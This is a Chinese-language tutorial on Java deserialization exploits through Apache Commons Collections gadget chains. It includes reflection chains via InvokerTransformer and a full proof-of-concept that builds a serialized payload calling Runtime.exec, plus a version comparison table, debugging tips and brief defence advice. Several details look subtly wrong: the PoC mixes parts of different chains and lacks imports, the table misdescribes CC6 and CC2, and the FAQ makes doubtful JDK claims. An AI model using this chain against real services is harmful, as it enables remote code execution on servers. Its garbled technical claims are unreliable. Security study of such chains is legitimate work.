一、反序列化机制速览

Java 反序列化是把二进制字节流还原成堆内存对象的过程。入口类是 ObjectInputStream,核心方法 readObject()。攻击者只要能控制传入 ObjectInputStream 的字节流,就能在目标机器上构造出任意 Serializable 对象图——这就是所有利用链的起点。

import java.io.*;
public class SimpleDemo {
    public static void main(String[] args) throws Exception {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject("hello serialization");
        oos.close();
        byte[] payload = bos.toByteArray();
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(payload));
        Object obj = ois.readObject();
        ois.close();
        System.out.println(obj);
    }
}

1.1 readObject 调用链

readObject() → readObject0()
  TC_OBJECT → readOrdinaryObject()
    isExternalizable → readExternal()
    非 Externalizable → readSerialData()
      hasReadObjectMethod → 调用私有 readObject(ObjectInputStream)

resolveClass() 根据字节流里的 className 加载本地类。ObjectInputStream 的 resolveClass() 默认调用 Class.forName(name),所以只要目标 classpath 里有 commons-collections-*.jar,攻击者就能利用它的类。

1.2 恶意类演示

import java.io.*;
public class EvilObject implements Serializable {
    private static final long serialVersionUID = 1L;
    private void readObject(ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        Runtime.getRuntime().exec("touch /tmp/pwned");
    }
}

但问题是攻击者没法让目标机器上凭空出现 EvilObject.class。所以真正的利用链必须全部由目标 classpath 里本来就有的类拼接而成。CommonsCollections 就是那个弹药库。

二、InvokerTransformer —— 最关键的类

public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) return null;
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
        } catch (Exception e) {
            throw new FunctorException("InvokerTransformer error");
        }
    }
}

InvokerTransformer 实现了 Transformer 接口,在 transform(Object input) 里通过反射调用任意方法。这是整个 CommonsCollections 攻击面的核心类。

三、ChainedTransformer 串联多条反射

Transformer[] chain = new Transformer[]{
    new InvokerTransformer("getMethod",
        new Class[]{String.class, Class[].class},
        new Object[]{"getRuntime", new Class[0]}),
    new InvokerTransformer("invoke",
        new Class[]{Object.class, Object[].class},
        new Object[]{null, new Object[0]}),
    new InvokerTransformer("exec",
        new Class[]{String.class},
        new Object[]{"touch /tmp/cc_pwned"})
};
// "Runtime" → Runtime.class → Runtime.getRuntime() → exec("cmd")

每个 InvokerTransformer 接收前一个的输出作为输入。第一个 "Runtime" 被 getMethod 处理成 Method 对象;第二个 invoke 把 Method 变成 Runtime 单例;第三个 exec 执行命令。

四、CC6 完整可运行 PoC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.comparators.TransformingComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.*;

public class CC6PoC {
    public static void main(String[] args) throws Exception {
        // 1. 构造完整的 Runtime.exec 反射链
        Transformer[] chain = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", new Class[0]}),
            new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, new Object[0]}),
            new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"touch /tmp/cc6_pwned"})
        };

        // 2. LazyMap 包装 ChainedTransformer
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, new ChainedTransformer(chain));

        // 3. 构造 AnnotationInvocationHandler 代理对象
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihCtor = aihClass.getDeclaredConstructor(Map.class, Class.class);
        aihCtor.setAccessible(true);
        Object aih = aihCtor.newInstance(lazyMap, Retention.class);

        // 4. PriorityQueue 先用无害 comparator 构造
        PriorityQueue<Object> queue = new PriorityQueue<>(2,
            new TransformingComparator(new ConstantTransformer(1)));
        queue.add(1); queue.add(1);

        // 5. 反射替换 comparator 和 queue 元素
        Field f = PriorityQueue.class.getDeclaredField("comparator");
        f.setAccessible(true);
        f.set(queue, new TransformingComparator(new ChainedTransformer(chain)));

        Field fs = PriorityQueue.class.getDeclaredField("queue");
        fs.setAccessible(true);
        Object[] queueArr = (Object[]) fs.get(queue);
        queueArr[0] = lazyMap; queueArr[1] = lazyMap;

        // 6. 序列化 payload
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(queue); oos.close();

        // 7. 反序列化触发
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
        ois.readObject(); ois.close();
        System.out.println("[+] CC6 PoC executed, check /tmp/cc6_pwned");
    }
}

为什么要先 add 再反射换 comparator?

如果直接把真实 comparator 传给 PriorityQueue 构造器,add() 时就会触发 chain——此时 payload 还没序列化完,Runtime.exec 就先跑了。所以先用无害 comparator(ConstantTransformer(1))完成构造和 add,再反射替换。这是反序列化链构造中的经典"避开头部执行"技巧。

五、CC1-7 各版本链对照

依赖 CC 依赖 JDK 核心触发点 关键类
CC1 3.x/4.x 全版本 AIH.invoke() → HashMap.key.hashCode() AIH, LazyMap, ChainedTransformer
CC2 3.x 全版本 PriorityQueue.readObject() → comparator.compare() PriorityQueue, InvokerTransformer
CC3 3.x 全版本 InstantiateTransformer → TemplatesImpl InstantiateTransformer
CC5 3.x JDK 7u21+ BAVE.readObject() → toString() → TiedMapEntry BAVE, TiedMapEntry
CC6 3.x 全版本 等价于 CC1 从 PriorityQueue 出发 TransformingComparator
CC7 3.x 全版本 Hashtable.readObject() → entry.key.equals() Hashtable + TiedMapEntry

六、调试技巧

遇到 ClassNotFoundException 说明目标没有对应 CC 版本,尝试 CC7 或 CC2。遇到 InvocationTargetException 通常是链中间反射失败。在 InvokerTransformer 的 catch 里打印完整堆栈:throw new FunctorException(e.getCause())。JVM 启动参数加 -XX:+TraceExceptions -XX:+TraceExceptionsFilterClass=InvocationTargetException 可以看到反射链上每一层异常。

七、总结

CommonsCollections 反序列化链的本质是把多个"无害"的通用工具类拼接成一条代码执行路径。理解了 ChainedTransformer 的串联原理和"避开头部执行"的反射替换技巧,就能自己写出新的变种链。防御侧最有效的手段是根本不要反序列化不可信数据,以及用 JEP 290 的 ObjectInputFilter 设白名单。

八、CommonsCollections 4.x 差异

CC 4.x 重构了整个包结构:

org.apache.commons.collections4.functors.InvokerTransformer
org.apache.commons.collections4.comparators.TransformingComparator

和 CC 3.x 主要差异是包名多了 4,部分类名/方法有小改动。ysoserial 的 CommonsCollections8 专门适配 CC 4.x。CC 8 把 CC 链里用到的类映射到 CC 4.x 的等价类。

九、CC1 源码级详解

CC1 链的完整触发路径:

AnnotationInvocationHandler.readObject()
  → HashMap.readObject()
    → for (Entry<K,V> e : tab) { hash(e.getKey()); }
      → hash(K) = (h = key.hashCode()) ^ (h >>> 16)
        → AnnotationInvocationHandler.hashCode()
          → for (Map.Entry<String, Object> e : memberValues.entrySet()) {
              if (key == null) continue;
              result += key.hashCode();
              result += Arrays.hashCode((Object[]) value);
            }
            // value 是 LazyMap
            → Arrays.hashCode → 遍历数组元素
              → 某个元素被当作 Map → LazyMap.get(key)
                → ChainedTransformer → Runtime.exec

CC1 是最基础的链,也是理解整个 CommonsCollections 反序列化的起点。

十、CC7 vs CC6

CC7 用 Hashtable.readObject() 作为触发点:

Hashtable ht = new Hashtable();
// TiedMapEntry 作为 Hashtable 的 key
// ht.readObject() → 重算 entry 的 hash → entry.key.equals() → 触发链

Hashtable 比 PriorityQueue 更"通用"——很多库内部都用 Hashtable。所以 CC7 适合不知道目标是否使用 PriorityQueue 的场景。

十一、常见问题 FAQ

Q: 为什么不用 Runtime.exec(String) 直接调?
A: 不能直接。Java 反射链必须从某个 Serialized 对象出发,目标必须有完整的 gadget 链类。Runtime 不是 Serializable,必须通过 InvokerTransformer 反射调用。

Q: CC 链在 JDK 11/17 上还能跑吗?
A: JDK 9+ 模块化后,sun.reflect.annotation.AnnotationInvocationHandler 所在模块被隐藏,反射访问会抛 InaccessibleObjectException。但 JDK 8u121 之后加了 Runtime.exec 检查,CC1/CC6 直接调 Runtime.exec 会失败。换 TemplatesImpl 或其他链可以绕过。

Q: 如何防止自己写出危险的 Serializable 类?
A: 实现 Serializable 的类里永远不要在 readObject/readResolve 里放危险代码;不要使用 ObjectInputStream 反序列化不可信数据;JEP 290 加 filter 白名单。

十二、实战练习建议

  1. 先在本地 JDK 8 + commons-collections-3.1 环境跑通 CC6 PoC
  2. 尝试把 CC6 链里 ChainedTransformer 换成其他 Transformer 组合
  3. 在 JDK 17 上跑同一条链,观察错误信息
  4. 用 JVM 参数 -Djdk.serialFilter= 拦截,观察拦截行为
  5. 动手写一个简化版的 LazyMap,理解它是如何调用 Transformer 的

这条知识链是理解整个 Java 反序列化世界的钥匙。